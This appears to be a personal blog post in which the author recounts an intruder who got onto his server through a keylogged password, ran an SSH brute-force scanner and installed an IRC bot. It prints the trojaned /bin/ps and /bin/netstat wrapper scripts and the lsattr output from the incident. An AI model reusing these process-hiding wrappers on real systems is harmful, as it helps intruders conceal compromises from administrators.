As I reported earlier, we had a hacker on the web server at my (luckily former) employee - my abysmal job from hell (short: AJFH). He has been living happily and undisturbed on the web server for about a year, and I would be surprised if that has changed in the meantime.
What I never told here is how I happened to find out about him in the first place.
One of the many small oddities at my former job was that the intranet router ceased to route from time to time. Nobody knew why, nobody cared to fix the problem - the solution was to just reset the router a few times per day. Since everyone, including myself, depended on that router to reach the internet, I dodged it by abusing our webserver as a proxy for my private ssh connections. I used to ssh (as root, since it had no user accounts) to the webserver, and from there I connected to my private servers (like the one hosting this blog).
Until at one monday, I got a bunch of emails containing abuse complaints for my servers; someone started a ssh brute force network scanner and hammered the internet for well known users/passwords.
I was not amused.
At first I had no clue as how that was possible, I am not exactly untrained when it comes to internet security - after all, that has been my job once. Not at my last employee though, they obviously have no clue about internet security and its necessity... but I'm digressing again.
After poking around for a while, I found out that at sunday night, at a time when I was in the world of dreams, someone connected from that webserver to my own host, using my username and my password (which obviously have been keylogged). Gaining root privileges from that account was very easy (I admint, I've been lazy and allowed myself to su to root without any authentication). I closed that hole, changed all my passwords, and informed my former AJFH-boss about the hacker (the result was that he told me that he was going to "do something about it" at the next weekend - for several months). I also stayed very clear from that webserver since then.
Today, I tried to update the distribution on my server - which resulted in some very interesting error messages:
unable to make backup link of `./bin/netstat' before installing new version: Operation not permitted
unable to make backup link of `./bin/ps' before installing new version: Operation not permitted
Now, distribution upgrades are done as root, who is supposed to be allowed to do EVERYTHING on a file system. Including the creation of backup links to system binaries.
A less known feature of linux systems are the extended file attributes you can set with tools like chattr(1). That includes tagging files as read-only, even for root - which was what happened in my case:
# lsattr /bin/ps
-u--ia----------- /bin/ps
# lsattr /bin/netstat
-u--ia----------- /bin/netstat
The guy hacking into my server was not content with installing and running an ssh scanner, noo - he wanted to install a IRC zombie too, and hide it by hiding it from the process list... check that out:
# cat /bin/ps
/bin/ps1 $1 | grep -v ps1 | grep -v smtp | grep -v xxx | grep -v netstat1
# cat netstat
/bin/netstat1 $1 | grep -v 27910 | grep -v ircd | grep -v 6667
I'd call that a creative, yet pretty boneheaded attempt to hide a process. Maybe he was just too lazy to install a proper rootkit, who knows. I know, I should have re-installed the whole system from scratch in the first place. But lazyness abides... again.

No comments:
Post a Comment